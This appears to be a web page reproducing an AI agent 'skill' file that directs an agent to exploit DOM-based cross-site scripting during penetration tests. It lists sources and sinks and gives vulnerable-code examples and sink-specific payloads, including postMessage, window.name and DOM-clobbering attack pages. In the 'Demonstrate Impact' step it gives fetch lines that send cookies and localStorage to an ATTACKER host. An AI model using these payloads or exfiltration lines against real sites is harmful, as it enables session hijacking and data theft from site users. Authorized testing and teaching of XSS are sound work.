Xss dom

From blacklanternsecurity/red-run · View interactive version

Xss dom is an AI agent skill from the GitHub repository blacklanternsecurity/red-run. Guide DOM-based XSS exploitation during authorized penetration testing.

How to use this skill

Skill file

DOM-Based XSS

You are helping a penetration tester exploit DOM-based cross-site scripting. The

vulnerability exists entirely in client-side JavaScript — attacker-controlled

data flows from a source (URL, cookie, postMessage, storage) to a dangerous sink

(innerHTML, eval, document.write) without proper sanitization. The malicious

payload never appears in the HTTP response from the server. All testing is under

explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current

engagement state. Use it to:

Your return summary must include:

Web Interaction

DOM XSS exists entirely in client-side JavaScript — **browser tools are

essential** for this skill. The vulnerability cannot be detected or exploited

without JavaScript execution.

data flow through JavaScript variables, check what sinks are reachable

(e.g., document.querySelectorAll('[innerHTML]'),

document.querySelectorAll('script'))

hash-based sources

cannot trigger source-to-sink flows

Prerequisites

NOT sent to the server

domloggerpp (browser extension)

Step 1: Assess

If not already provided, determine:

  1. Target page — URL of the page with client-side JavaScript
  2. Suspected source — where does attacker input enter the DOM? (URL hash, query param, cookie, postMessage, localStorage)
  3. Suspected sink — where does the data get used unsafely?

Skip if context was already provided.

Step 2: Identify Sources

Sources are inputs an attacker can control. Check each one:

URL-based sources:

document.URL
document.documentURI
document.baseURI
location              // location.href, location.hash, location.search, location.pathname
document.referrer

Storage-based sources:

document.cookie
window.name           // persists across cross-origin navigations!
localStorage
sessionStorage

Message-based sources:

// postMessage listener
window.addEventListener('message', function(e) { /* uses e.data unsafely */ })

How to find them: Search the page's JavaScript for these patterns. In

DevTools → Sources → Search (Ctrl+Shift+F):

location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage
addEventListener.*message
localStorage.getItem
sessionStorage.getItem
document.cookie

Step 3: Identify Sinks

Sinks are functions/properties where attacker data causes harm.

HTML injection sinks (most common for DOM XSS):

element.innerHTML = ...
element.outerHTML = ...
element.insertAdjacentHTML(...)
document.write(...)
document.writeln(...)

innerHTML blocks <script> tags in modern browsers. Use <img onerror> instead.

JavaScript execution sinks:

eval(...)
Function(...)()
setTimeout(string, ...)
setInterval(string, ...)
setImmediate(string, ...)

URL/navigation sinks:

location = ...
location.href = ...
location.assign(...)
location.replace(...)
window.open(...)

jQuery sinks:

$(...)                 // selector injection
$.html(...)
$.append(...)
$.prepend(...)
$.after(...)
$.before(...)
$.parseHTML(...)
$.globalEval(...)

Step 4: Trace the Data Flow

Follow the data from source to sink through the JavaScript code.

Example 1 — URL hash to innerHTML:

// Vulnerable code
var content = location.hash.substring(1);
document.getElementById('output').innerHTML = content;

// Exploit (payload in URL fragment — not sent to server)
https://TARGET/page#<img src=x onerror=alert(document.domain)>

Example 2 — URL param to document.write:

// Vulnerable code
var search = new URLSearchParams(location.search);
document.write('<h1>Results for: ' + search.get('q') + '</h1>');

// Exploit
https://TARGET/page?q=</h1><script>alert(document.domain)</script>

Example 3 — URL param to eval:

// Vulnerable code
var config = location.search.substring(1);
eval('var settings = {' + config + '}');

// Exploit
https://TARGET/page?};alert(document.domain);//

Example 4 — postMessage to innerHTML:

// Vulnerable code
window.addEventListener('message', function(e) {
  document.getElementById('widget').innerHTML = e.data;
});

// Exploit (from attacker page)
<iframe src="https://TARGET/page" onload="this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')">

Example 5 — window.name abuse:

// Vulnerable code
document.getElementById('greeting').innerHTML = name;  // resolves to window.name

// Exploit (window.name persists across navigations)
<iframe name="<img src=x onerror=alert(document.domain)>" src="https://TARGET/page">

Example 6 — jQuery selector injection:

// Vulnerable code
$(location.hash);

// Exploit
https://TARGET/page#<img src=x onerror=alert(1)>

Step 5: Sink-Specific Payloads

innerHTML / outerHTML

<script> is blocked — use event handlers:

<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<iframe srcdoc="<script>alert(document.domain)</script>">

document.write / document.writeln

</h1><script>alert(document.domain)</script>
<script>alert(document.domain)</script>

eval / Function / setTimeout(string)

);alert(document.domain);//
'-alert(document.domain)-'
1;alert(document.domain)

location / location.href / location.assign

javascript:alert(document.domain)
javascript://%0aalert(document.domain)

jQuery $() selector

<img src=x onerror=alert(1)>

postMessage

Craft an attacker page that sends the payload:

<iframe src="https://TARGET/page" onload="
  this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')
">

Step 6: DOM Clobbering

When the page references DOM elements by name/id without proper checks, you can

"clobber" expected values by injecting HTML elements with matching names.

<!-- If code does: if (window.config) { url = config.url } -->
<a id=config><a id=config name=url href="javascript:alert(1)">

<!-- If code does: element.innerHTML = defaultText -->
<img name=defaultText src=x onerror=alert(1)>

Step 7: Demonstrate Impact

Same as reflected/stored XSS — cookie theft, session hijacking, phishing:

fetch('https://ATTACKER/steal?c='+document.cookie)
fetch('https://ATTACKER/steal?ls='+JSON.stringify(localStorage))

For window.name + admin flows, exfiltrate secrets from localStorage:

fetch('https://ATTACKER/?flag='+encodeURIComponent(localStorage.getItem('flag')))

Step 8: Escalate or Pivot

Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.

When routing, pass along: source, sink, data flow path, and working payload.

OPSEC Notes

Troubleshooting

Can't Find the Sink

innerHTML Blocks Script Tags

This is expected in modern browsers. Use:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">

Payload URL-Encoded by Browser

DOMPurify or Sanitizer Present

postMessage Has Origin Check

If the listener checks event.origin:

window.addEventListener('message', function(e) {
  if (e.origin !== 'https://trusted.com') return;
  // ...
});

Automated Tools

# DOM Invader — built into Burp Suite browser
# Enable in Burp → Proxy → Intercept → Open Browser → DOM Invader tab

# domdig — headless Chrome DOM XSS scanner
domdig https://TARGET/page

# domloggerpp — browser extension for monitoring DOM access
# Install from: https://github.com/kevin-mizu/domloggerpp
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.